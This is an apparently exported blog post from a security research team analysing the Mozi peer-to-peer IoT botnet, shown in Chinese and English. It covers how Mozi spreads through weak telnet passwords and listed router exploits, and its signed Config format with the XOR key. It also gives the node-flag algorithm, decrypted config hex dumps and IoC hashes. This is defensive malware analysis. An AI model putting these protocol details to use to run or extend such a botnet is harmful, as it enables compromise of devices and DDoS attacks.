href=\"__GHOST_URL__/content/images/2019/12/mozi_rnsys.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_rnsys.png\" class=\"kg-image\"/></a>\n - 自定义**GET**命令，将Bot ID发送给对端。\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_rnget.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_rnget.png\" class=\"kg-image\"/></a>\n - 自定义**run**命令，执行对端下发的命令，并将结果回传。\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_rnrun.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_rnrun.png\" class=\"kg-image\"/></a>\n### DHT\n\nＭozi Botnet使用自己扩展的DHT协议构建p2p网络，这样做有俩个好处，一来使用标准的DHT能够快速组网，二来使用自己的扩展能够将有效payload的流量隐匿于海量的正常DHT流量中，躲避检测。Mozi使用8组公共节点以及Config文件的[nd]字段指定的节点作为bootstrap nodes。引导新节点加入其DHT网络。\n- 公共节点，样本内嵌\n```\ndht.transmissionbt.com:6881\nrouter.bittorrent.com:6881\nrouter.utorrent.com:6881\nbttracker.debian.org:6881\n212.129.33.59:6881\n82.221.103.244:6881\n130.239.18.159:6881\n87.98.162.88:6881\n```\n- Config文件中[nd]指定\n<a href=\"__GHOST_URL__/content/images/2019/12/mozi_nd.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_nd.png\" class=\"kg-image\"/></a>\n#### ID生成\n\nID20字节，由样本内嵌的prefix(***888888***)或config文件[hp]指定的prefix，加随机生成的字串构成。\n\n\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_id.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_id.png\" class=\"kg-image\"/></a>\n\n#### 结点识别\n为了快速区分流量，Mozi使用``1:v4:flag(4 bytes)``这样的标识来识别流量是否由其结点发出，\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_node.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_node.png\" class=\"kg-image\"/></a>\nflag字节含义如下，\n```\nflag(4 bytes)\n----------------------------------------------\noffset:\n\t0 -----random\n\t1 ----- hard-code(0x42) or from [ver]\n 2 -----calc by algorithm\n 3 -----calc by algorithm\n```\n第１个字节是随机产生的，第２个字节是硬编码的0x42或由config文件中[ver]字段指定。\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_ver.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_ver.png\" class=\"kg-image\"/></a>\n第3,４字节由算法得来，\n```\nver algorithm\n----------------------------------------------\n\tint first,sec;\n\tstring ver=\"\\x31\\x3a\\x76\\x34\\x3a\\x00\\x00\"s;\n\tcout << \"Please input the two number: (0x00-0xff)\" << endl;\n\tcin.unsetf(ios::hex);\n\tcin >> hex >> first >> sec;\n\tver[5] = char(first);\n\tver[6] = char(sec);\n\tuint32_t va = 0;\n\tfor(int i = 0; i < 7; i++)\n\t{\t\n\t\tuint32_t tmp = int(ver[i]);\n\t\ttmp = tmp << 8;\n\t\ttmp ^= va;\n\t\tint rnd = 8;\n\twhile (rnd--)\n\t{\n\t\tif ((tmp & 0xffff) > 0x8000)\n\t\t{\n\t\t\ttmp *= 2;\n\t\t\ttmp ^= 0xffff8005;\n\t\t}\n\t\telse\n\t\t\ttmp *= 2;\n\t}\n\tva = tmp&0xffff;\n\t}\n\tcout << hex << \"Final \" << va << endl;\n```\n\n>Please input the two number: (0x00-0xff)\n>0x44 0x42 \n>Final 1f71 \n输入0x44 0x42,得到``0x1f71``,和数据包里结果一致。\n\n\n#### 网络请求\n\nMozi节点收到的网络请求可以分成２大类，DHT请求和非DHT请求。依据前文所述的节点识别，DHT请求分为Mozi-DHT请求,非Mozi-DHT请求。Mozi支持ping,find_node,get_peers３种。对于非DHT请求，依据网络数据包长度大于99与否分成２种。\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_net-1.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_net-1.png\" class=\"kg-image\"/></a>\n \nMozi将不同的请求编号如下所示，不同的请求有不同的处理逻辑\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_query.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_query.png\" class=\"kg-image\"/></a>\n- 编号２： ping ，DHT请求，按标准DHT流程处理直接回复pong。\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_ping.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_ping.png\" class=\"kg-image\"/></a>\n- 编号3：find_node，DHT请求。\n- 编号4：get_peers，DHT请求。\n Mozi 将**find_node,get_peers**合二为一，如果请求来自Mozi节点，有一定的概率把自身的Config内容发送给对方;如果来请求来自非Mozi节点，则按标准DHT的流程处理。\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_getnode.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_getnode.png\" class=\"kg-image\"/></a>\n```\n原始数据内容(节选前128字节):\n00000000 64 31 3a 72 64 32 3a 69 64 32 30 3a 38 38 38 38 |d1:rd2:id20:8888|\n00000010 38 38 38 38 b7 96 a0 9e 66 e1 71 98 e5 4d 3e 69 |8888·. .fáq.åM>i|\n00000020 35 3a 6e 6f 64 65 73 36 32 34 3a 15 15 29 d2 f3 |5:nodes624:..)Òó|\n00000030 a3 f7 0c fe df 1a 5d bd 3f 32 46 76 5e 62 b7 b8 |£÷.þß.]½?2Fv^b·¸|\n00000040 f0 94 78 a2 c4 37 5b 8e 2c 00 0b 20 12 07 e7 f4 |ð.x¢Ä7[.,.. ..çô|\n00000050 bc dc 19 a2 83 2e 67 fb 7a 5e 50 22 07 75 e8 ef |¼Ü.¢..gûz^P\".uèï|\n00000060 f9 93 4a e9 91 75 36 e4 76 57 4b 7c 51 7c ff f5 |ù.Jé.u6ävWK|Q|ÿõ|\n00000070 f5 c4 57 f9 dc 62 35 b4 6a 5d 18 6b 54 3c ed e1 |õÄWùÜb5´j].kT<íá|\n00000080 a1 c8 56 a3 cf 28 6b fa 14 06 1a 3e 3b 01 a0 e3 |¡ÈV£Ï(kú...>;. ã|\n加密的Config位于\"5:nodes624:\"之后，使用xor key(4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E) 解密后:\n原始数据部分：\n00000000 64 31 3a 72 64 32 3a 69 64 32 30 3a 38 38 38 38 |d1:rd2:id20:8888|\n00000010 38 38 38 38 b7 96 a0 9e 66 e1 71 98 e5 4d 3e 69 |8888·. .fáq.åM>i|\n00000020 35 3a 6e 6f 64 65 73 36 32 34 3a \t\t\t\t |5:nodes624:\nConfig部分:\n00000000 5b 73 73 5d 73 6b 5b 2f 73 73 5d 5b 68 70 5d 38 |[ss]sk[/ss][hp]8|\n00000010 38 38 38 38 38 38 38 5b 2f 68 70 5d 5b 63 6f 75 |8888888[/hp][cou|\n00000020 6e 74 5d 68 74 74 70 3a 2f 2f 69 61 2e 35 31 2e |nt]http://ia.51.|\n00000030 6c 61 2f 67 6f 31 3f 69 64 3d 32 30 31 39 38 35 |la/go1?id=201985|\n00000040 32 37 26 70 75 3d 68 74 74 70 25 33 61 25 32 66 |27&pu=http%3a%2f|\n\n```\n\n- 编号5：announce_peer，不支持\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_ann.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_ann.png\" class=\"kg-image\"/></a>\n- 编号6：非DHT请求，数据包长<99字节，当节点收到此请求，会将自身的config内容发送给请求方。\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_6proc.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_6proc.png\" class=\"kg-image\"/></a>\n- 编号7：非DHT请求，数据包长>99字节，当节点收到此请求，说明收到的数据为加密的Config文件，执行流程参照前文。\n <a href=\"__GHOST_URL__/content/images/2019/12/mozi_payload.png\"><img src=\"__GHOST_URL__/content/images/2019/12/mozi_payload.png\" class=\"kg-image\"/></a>\n## 处置建议\n\n我们建议用户及时更新补丁，并根据Mozi Botnet创建的进程，文件名以及HTTP,DHT网络连接特征，判断是否被感染，然后清理它的相关进程和文件。\n\n相关安全和执法机构，可以邮件联系netlab[at]360.cn交流更多信息。\n\n## 联系我们\n\n感兴趣的读者，可以在 [twitter](https://twitter.com/360Netlab) 或者在微信公众号 360Netlab 上联系我们。\n\n## IoC list\n\n样本MD5:\n\n```\neda730498b3d0a97066807a2d98909f3\n849b165f28ae8b1cebe0c7430f44aff3\n```\n\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5dfc59297646030007b26149 |
post | null | 2019-12-23T09:03:35.000Z | 63873b9a8b1c1e0007f52f5f | mozi-another-botnet-using-dht | 0 | 2019-12-24T04:46:44.000Z | public | published | null | 2019-12-23T10:32:13.000Z | Mozi, Another Botnet Using DHT | <!--kg-card-begin: markdown--><h2 id="overview">Overview</h2>
<p>On September 03, 2019, a suspicious file was tagged by our new threat monitoring system and a quick checking on VT shows most engines flagged it as Gafgyt. The sample does reuse part of the Gafgyt code, but it is not really Gafgyt.</p>
<p>The sample represents a brand new P2P botnet implemented based on the DHT protocol, the last botnet which uses DHT is the Hajime, and we call it Mozi according to the characteristics of its propagation sample file name <code>Mozi.m</code>,<code>Mozi.a</code>.</p>
<p>Mozi Botnet relies on the DHT protocol to build a P2P network, and uses ECDSA384 and the xor algorithm to ensure the integrity and security of its components and P2P network. The sample spreads via Telnet with weak passwords and some known exploits (see the list below). In terms of functions, the execution of the instructions of each node in the Mozi botnet is driven by a Payload called Config issued by the Botnet Master. The main instructions include:</p>
<ul>
<li>DDoS attack</li>
<li>Collecting Bot Information</li>
<li>Execute the payload of the specified URL</li>
<li>Update the sample from the specified URL</li>
<li>Execute system or custom commands</li>
</ul>
<p>The overall network structure is shown in the following figure:<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_flow-3.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_flow.m.png" class="kg-image"/></a></p>
<h2 id="samplespread">Sample Spread</h2>
<p>Mozi infects new devices through weak telnet passwords and exploits.The infection process is as follows:</p>
<ul>
<li>The current Bot node randomly uses a local port to start the http service to provide sample downloads or receives the sample download address in the Config file issued by the Botnet Master.Provides a sample download address for future infected targets.</li>
<li>The current Bot node logs in to the target device with a weak password, writes the downloader file in echo mode and runs it, and downloads the sample file from the sample download address provided by the current Bot node. Or use a vulnerability to exploit the target, and then obtain a sample file from the sample download address provided by the current Bot node.</li>
<li>Run the Mozi Bot sample on the infected target device, join the Mozi P2P network to become the new Mozi Bot node and continue to infect other new devices.</li>
</ul>
<p>The vulnerabilities used by Mozi Botnet are shown in the following table:</p>
<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Affected Aevice</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.exploit-db.com/exploits/40740">Eir D1000 Wireless Router RCI</a></td>
<td>Eir D1000 Router</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/6864/">Vacron NVR RCE</a></td>
<td>Vacron NVR devices</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/37169/">CVE-2014-8361</a></td>
<td>Devices using the Realtek SDK</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/41598/">Netgear cig-bin Command Injection</a></td>
<td>Netgear R7000 and R6400</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/43055">Netgear setup.cgi unauthenticated RCE</a></td>
<td>DGN1000 Netgear routers</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/41471/">JAWS Webserver unauthenticated shell command execution</a></td>
<td>MVPower DVR</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/43414/">CVE-2017-17215</a></td>
<td>Huawei Router HG532</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/37171/">HNAP SoapAction-Header Command Execution</a></td>
<td>D-Link Devices</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/44576/">CVE-2018-10561, CVE-2018-10562</a></td>
<td>GPON Routers</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/28333/">UPnP SOAP TelnetD Command Execution</a></td>
<td>D-Link Devices</td>
</tr>
<tr>
<td><a href="https://www.exploit-db.com/exploits/39596/">CCTV/DVR Remote Code Execution</a></td>
<td>CCTV DVR</td>
</tr>
</tbody>
</table>
<p>At present, we do not know the exact scale of the Botnet, we do manage to become a node to join the DHT network and are tracking some baseline numbers, we will share more details probably in another blog later on. And from other data we have collected, we can also see the number of infection has been increasing.The picture below shows the Mozi bot infection based on the log collected by our honeypot.<br>
<img src="__GHOST_URL__/content/images/2019/12/fssfsadfsdff.png" alt="fssfsadfsdff" loading="lazy"></p>
<h2 id="samplereverseanalysis">Sample Reverse Analysis</h2>
<p>There are three versions of Mozi Botnet, which can be distinguished by their slightly different telnet propagation methods.<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_versioin.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_versioin.png" class="kg-image"/></a><br>
Our analysis is mainly focus on the latest version v2, and this blog will cover the key elements such as propagation method, Config structure and its DHT network.</p>
<h3 id="sampleinformation">Sample Information</h3>
<blockquote>
<p>MD5:eda730498b3d0a97066807a2d98909f3</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped</p>
<p>Packer: NO</p>
<p>Library:uclibc</p>
<p>Version: v2</p>
</blockquote>
<p>It is worth mentioning that in the first version Mozi(sample md5: <code>849b165f28ae8b1cebe0c7430f44aff3</code>) used upx packing. But instead of using the common upx magic number to defeat unpacking, it used a novel method, to erase the value of p_filesize & p_blocksize to zero, with that change, researcher need to patch the upx source code then unpacking is possible.</p>
<h3 id="commonfunctions">Common Functions</h3>
<p>Mozi doesn't have much characteristics in the host behavior level. It reuses Gafgyt's code to implements many common functions, such as single instance, process name modification, and ACL modification.</p>
<ul>
<li>Single instance, by binding local port<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_bind.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_bind.png" class="kg-image"/></a></li>
<li>Change the process name to sshd or dropbear to confuse the victim<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_setname.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_setname.png" class="kg-image"/></a></li>
<li>ACL modification, Open up the ports;block SSH, TELNET services to prevent Bot from being re-infected by other malicious actors.<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_iptables.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_iptables.png" class="kg-image"/></a></li>
</ul>
<p><a href="__GHOST_URL__/content/images/2019/12/mozi_forb.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_forb.png" class="kg-image"/></a></p>
<h3 id="performspecifictasks">Perform Specific Tasks</h3>
<p>After Mozi establishes the p2p network through the DHT protocol, the config file is synchronized, and the corresponding tasks are started according to the instructions in the config file.In P2P networks, nodes are untrusted, and anyone can fake a Mozi node at a very low cost.In order to ensure that the Mozi network is completely controllable and cannot be stolen by others, Mozi needs to perform signature verification on each synchronized config, and only if it can pass the signature verification can it be accepted and executed by the Mozi node.</p>
<p><a href="__GHOST_URL__/content/images/2019/12/mozi_configproc.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_configproc.png" class="kg-image"/></a></p>
<h4 id="documentinstructioninspection">Document & Instruction Inspection</h4>
<p>Mozi uses the ECDSA384 algorithm to verify the legitimacy of files and instructions. Each sample integrates two xor-encrypted public keys, which are used to sign encrypted and decrypted config files, respectively.</p>
<pre><code> xor key:4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E
------------------------------------------------------------------
xored publickey A
4C B3 8F 68 C1 26 70 EB 9D C1 68 4E D8 4B 7D 5F
69 5F 9D CA 8D E2 7D 63 FF AD 96 8D 18 8B 79 1B
38 31 9B 12 69 73 A9 2E B6 63 29 76 AC 2F 9E 94 A1
after decryption:
02 d5 d5 e7 41 ee dc c8 10 6d 2f 48 0d 04 12 21
27 39 c7 45 0d 2a d1 40 72 01 d1 8b cd c4 16 65
76 57 c1 9d e9 bb 05 0d 3b cf 6e 70 79 60 f1 ea ef
-------------------------------------------------------------------
xored publickey B
4C A6 FB CC F8 9B 12 1F 49 64 4D 2F 3C 17 D0 B8
E9 7D 24 24 F2 DD B1 47 E9 34 D2 C2 BF 07 AC 53
22 5F D8 92 FE ED 5F A3 C9 5B 6A 16 BE 84 40 77 88
after decryption:
02 c0 a1 43 78 53 be 3c c4 c8 0a 29 e9 58 bf c6
a7 1b 7e ab 72 15 1d 64 64 98 95 c4 6a 48 c3 2d
6c 39 82 1d 7e 25 f3 80 44 f7 2d 10 6b cb 2f 09 c6
</code></pre>
<h4 id="configfile">Config File</h4>
<p>Each sample integrates an xor-encrypted initial config file with a length of 528 bytes. Its structure is data (428 bytes), sign (96 bytes), flag (4 bytes). The sign field is a digital signature and the flag field controls if the config file is updated or not.There are many control fields in the config file. After receiving the config, the Mozi node parses the field content and executes the corresponding subtasks.The original config file is as follows.<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_enconfig.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_enconfig.png" class="kg-image"/></a><br>
The decryption process is shown in the following figure, where the xor key is <code>4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E</code></p>
<p><a href="__GHOST_URL__/content/images/2019/12/mozi_xorproc.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_xorproc.png" class="kg-image"/></a><br>
The decrypted config is as follows.<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_denconfig.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_denconfig.png" class="kg-image"/></a><br>
The supported keywords are as follows, which can be divided into three categories: declaration, control, and subtask.</p>
<pre><code>1：declaration
[cpu] cpu arch or os
[cpux] cpu arch or os
[ss] bot role
[ssx] bot role
[nd] new node info which help to join DHT
2:control
[ver] verify
[sv] update Config
[hp] DHT id prefix
[dip] URL or ip:port list which can get Mozi sample
3:subtask
[atk] DDOS attack
[ud] update
[dr] exec payload from specific URL
[rn] exec system or customized cmds
[idp] report bot info
</code></pre>
<h4 id="botfunction">Bot Function</h4>
<ul>
<li>DDOS，<code>[atk]</code>field trigger, reuse Gafgyt attack code, support HTTP, TCP, UDP and other attacks.<pre><code>Command
-----------------------------------------
S
T
U
KT
HTTP
</code></pre>
<a href="__GHOST_URL__/content/images/2019/12/mozi_atk.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_atk.png" class="kg-image"/></a></li>
<li>Report Bot information,<code>[idp]</code>field trigger, the content reported are Bot ID, IP, PORT, file name (full path), gateway, cpu architecture.<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_idp.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_idp.png" class="kg-image"/></a></li>
<li>The payload of the specified URL is executed, and the<code>[dr]</code> field is triggered.<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_dr.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_dr.png" class="kg-image"/></a></li>
<li>Update from the specified URL, the <code>[ud]</code>field is triggered. Close the current node's network connection and related processes, download the new version from the specified URL, save DHT node, ID and other data, and provide them as parameters for the new version.<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_ud.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_ud.png" class="kg-image"/></a></li>
<li>Execute system or Bot custom command,<code>[rn]</code>field trigger.
<ul>
<li>System command<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_rnsys.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_rnsys.png" class="kg-image"/></a></li>
<li>Customize the<code>GET</code>command and send the Bot ID to the peer.<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_rnget.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_rnget.png" class="kg-image"/></a></li>
<li>Customize the<code>run</code>command, execute the command issued by the peer, and return the result.<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_rnrun.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_rnrun.png" class="kg-image"/></a></li>
</ul>
</li>
</ul>
<h3 id="dht">DHT</h3>
<p>Mozi Botnet uses its own extended DHT protocol to build a P2P network. There are two benefits to this. One is to use standard DHT to quickly establish a network, and the other is to use its own extension to hide the valid payload in the vast amount of normal DHT traffic so detection is impossible without proper knowledge. Mozi uses 8 sets of public nodes and the nodes specified in the [nd] field of the Config file as bootstrap nodes, toguide new nodes to join their DHT network.</p>
<ul>
<li>Public node, sample embedded</li>
</ul>
<pre><code>dht.transmissionbt.com:6881
router.bittorrent.com:6881
router.utorrent.com:6881
bttracker.debian.org:6881
212.129.33.59:6881
82.221.103.244:6881
130.239.18.159:6881
87.98.162.88:6881
</code></pre>
<ul>
<li>[nd] Specified in the Config file<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_nd.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_nd.png" class="kg-image"/></a></li>
</ul>
<h4 id="idgeneration">ID Generation</h4>
<p>The ID is 20 bytes and consists of the prefix <code>888888</code> embedded in the sample or the prefix specified by the config file [hp], plus a randomly generated string.</p>
<p><a href="__GHOST_URL__/content/images/2019/12/mozi_id.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_id.png" class="kg-image"/></a></p>
<h4 id="noderecognition">Node Recognition</h4>
<p>In order to distinguish regular traffic with its own traffic, Mozi uses<code>1:v4:flag(4 bytes)</code>such an identifier to identify whether the traffic is sent by its node. The meaning of the flag byte is as follows.<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_node.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_node.png" class="kg-image"/></a><br>
flag means is as follows</p>
<pre><code>flag(4 bytes)
----------------------------------------------
offset:
0 -----random
1 ----- hard-code(0x42) or from [ver]
2 -----calc by algorithm
3 -----calc by algorithm
</code></pre>
<p>The first byte is randomly generated. The second byte is hard-coded 0x42 or specified by the [ver] field in the config file.<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_ver.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_ver.png" class="kg-image"/></a><br>
The 3rd and 4th bytes are obtained by the algorithm.</p>
<pre><code>ver algorithm
----------------------------------------------
int first,sec;
string ver="\x31\x3a\x76\x34\x3a\x00\x00"s;
cout << "Please input the two number: (0x00-0xff)" << endl;
cin.unsetf(ios::hex);
cin >> hex >> first >> sec;
ver[5] = char(first);
ver[6] = char(sec);
uint32_t va = 0;
for(int i = 0; i < 7; i++)
{
uint32_t tmp = int(ver[i]);
tmp = tmp << 8;
tmp ^= va;
int rnd = 8;
while (rnd--)
{
if ((tmp & 0xffff) > 0x8000)
{
tmp *= 2;
tmp ^= 0xffff8005;
}
else
tmp *= 2;
}
va = tmp&0xffff;
}
cout << hex << "Final " << va << endl;
</code></pre>
<blockquote>
<p>Please input the two number: (0x00-0xff)<br>
0x44 0x42<br>
Final 1f71<br>
Enter 0x44 0x42, and get the <code>0x1f71</code> same result as in the packet.</p>
</blockquote>
<h4 id="networkrequest">Network Request</h4>
<p>The network requests received by Mozi nodes can be divided into two categories, DHT requests and non-DHT requests. According to the aforementioned node identification, DHT requests are then again divided into Mozi-DHT requests and non-Mozi-DHT requests. Mozi supports three types of them, including ping, find_node, and get_peers. For non-DHT requests, there are two types based on whether the network packet length is greater than 99 or not.<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_net-1.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_net-1.png" class="kg-image"/></a><br>
For Mozi, Different requests have different processing logic, see below<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_query.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_query.png" class="kg-image"/></a></p>
<ul>
<li>Number 2: ping, DHT request, reply to pong directly according to standard DHT process.<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_ping.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_ping.png" class="kg-image"/></a></li>
<li>Number 3: find_node, DHT request.</li>
<li>Number 4: get_peers, DHT request.<br>
Mozi combines <code>find_node</code> and <code>get_peers</code> into one. If the request comes from the Mozi node, there is a certain probability to send its Config content to the other party; if the request comes from a non-Mozi node, it is processed according to the standard DHT process。<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_getnode.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_getnode.png" class="kg-image"/></a></li>
</ul>
<pre><code>raw data, first 128 bytes:
00000000 64 31 3a 72 64 32 3a 69 64 32 30 3a 38 38 38 38 |d1:rd2:id20:8888|
00000010 38 38 38 38 b7 96 a0 9e 66 e1 71 98 e5 4d 3e 69 |8888·. .fáq.åM>i|
00000020 35 3a 6e 6f 64 65 73 36 32 34 3a 15 15 29 d2 f3 |5:nodes624:..)Òó|
00000030 a3 f7 0c fe df 1a 5d bd 3f 32 46 76 5e 62 b7 b8 |£÷.þß.]½?2Fv^b·¸|
00000040 f0 94 78 a2 c4 37 5b 8e 2c 00 0b 20 12 07 e7 f4 |ð.x¢Ä7[.,.. ..çô|
00000050 bc dc 19 a2 83 2e 67 fb 7a 5e 50 22 07 75 e8 ef |¼Ü.¢..gûz^P".uèï|
00000060 f9 93 4a e9 91 75 36 e4 76 57 4b 7c 51 7c ff f5 |ù.Jé.u6ävWK|Q|ÿõ|
00000070 f5 c4 57 f9 dc 62 35 b4 6a 5d 18 6b 54 3c ed e1 |õÄWùÜb5´j].kT<íá|
00000080 a1 c8 56 a3 cf 28 6b fa 14 06 1a 3e 3b 01 a0 e3 |¡ÈV£Ï(kú...>;. ã|
The encrypted Config is located after "5:nodes624:", using xor key (4E 66 5A 8F 80 C8 AC 23 8D AC 47 06 D5 4F 6F 7E), the content after decryption:
raw data:
00000000 64 31 3a 72 64 32 3a 69 64 32 30 3a 38 38 38 38 |d1:rd2:id20:8888|
00000010 38 38 38 38 b7 96 a0 9e 66 e1 71 98 e5 4d 3e 69 |8888·. .fáq.åM>i|
00000020 35 3a 6e 6f 64 65 73 36 32 34 3a |5:nodes624:
configuration:
00000000 5b 73 73 5d 73 6b 5b 2f 73 73 5d 5b 68 70 5d 38 |[ss]sk[/ss][hp]8|
00000010 38 38 38 38 38 38 38 5b 2f 68 70 5d 5b 63 6f 75 |8888888[/hp][cou|
00000020 6e 74 5d 68 74 74 70 3a 2f 2f 69 61 2e 35 31 2e |nt]http://ia.51.|
00000030 6c 61 2f 67 6f 31 3f 69 64 3d 32 30 31 39 38 35 |la/go1?id=201985|
00000040 32 37 26 70 75 3d 68 74 74 70 25 33 61 25 32 66 |27&pu=http%3a%2f|
</code></pre>
<ul>
<li>Number 5: <code>announce_peer</code> not supported<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_ann.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_ann.png" class="kg-image"/></a></li>
<li>Number 6: Non-DHT request. The data packet length is less than 99 bytes. When the node receives this request, it will send its config content to the requester.<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_6proc.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_6proc.png" class="kg-image"/></a></li>
<li>Number 7: Non-DHT request, the data packet length is greater than 99 bytes. When the node receives this request, it indicates that the received data is an encrypted Config file. For the execution process, refer to the previous section.<br>
<a href="__GHOST_URL__/content/images/2019/12/mozi_payload.png"><img src="__GHOST_URL__/content/images/2019/12/mozi_payload.png" class="kg-image"/></a></li>
</ul>
<h2 id="suggestions">Suggestions</h2>
<p>We recommend that users update the patch in a timely manner, and determine whether they are infected by looking up the process and file name, and HTTP, DHT network connection characteristics created by Mozi Botnet.</p>
<h2 id="contactus">Contact us</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">twitter</a>, WeChat 360Netlab or email to netlab at 360 dot cn.</p>
<h2 id="ioclist">IoC list</h2>
<p>Sample MD5:</p>
<pre><code>eda730498b3d0a97066807a2d98909f3
849b165f28ae8b1cebe0c7430f44aff3
</code></pre>
<!--kg-card-end: markdown--> | Overview
On September 03, 2019, a suspicious file was tagged by our new threat monitoring system and a quick checking on VT shows most engines flagged it as Gafgyt. The sample does reuse part of the Gafgyt code, but it is not really Gafgyt.
The sample represents a brand new P2P botnet implemented based on the DHT protocol, the last botnet which uses DHT is the Hajime, and we call it Mozi according to the characteristics of its propagation sample file name Mozi.m,Mozi.a.
Mozi Botnet relies on the DHT protocol to build a P2P network, and uses ECDSA384 and the xor algorithm to ensure the integrity and security of its components and P2P network. The sample spreads via Telnet with weak passwords and some known exploits (see the list below). In terms of functions, the execution of the instructions of each node in the Mozi botnet is driven by a Payload called Config issued by the Botnet Master. The main instructions include:
* DDoS attack
* Collecting Bot Information
* Execute the payload of the specified URL
* Update the sample from the specified URL
* Execute system or custom commands
The overall network structure is shown in the following figure:
Sample Spread
Mozi infects new devices through weak telnet passwords and exploits.The infection process is as follows:
* The current Bot node randomly uses a local port to start the http service to provide sample downloads or receives the sample download address in the Config file issued by the Botnet Master.Provides a sample download address for future infected targets.
* The current Bot node logs in to the target device with a weak password, writes the downloader file in echo mode and runs it, and downloads the sample file from the sample download address provided by the current Bot node. Or use a vulnerability to exploit the target, and then obtain a sample file from the sample download address provided by the current Bot node.
* Run the Mozi Bot sample on the infected target device, join the Mozi P2P network to become the new Mozi Bot node and continue to infect other new devices.
The vulnerabilities used by Mozi Botnet are shown in the following table:
Vulnerability
Affected Aevice
Eir D1000 Wireless Router RCI
Eir D1000 Router
Vacron NVR RCE
Vacron NVR devices
CVE-2014-8361
Devices using the Realtek SDK
Netgear cig-bin Command Injection
Netgear R7000 and R6400
Netgear setup.cgi unauthenticated RCE
DGN1000 Netgear routers
JAWS Webserver unauthenticated shell command execution
MVPower DVR
CVE-2017-17215
Huawei Router HG532
HNAP SoapAction-Header Command Execution
D-Link Devices
CVE-2018-10561, CVE-2018-10562
GPON Routers
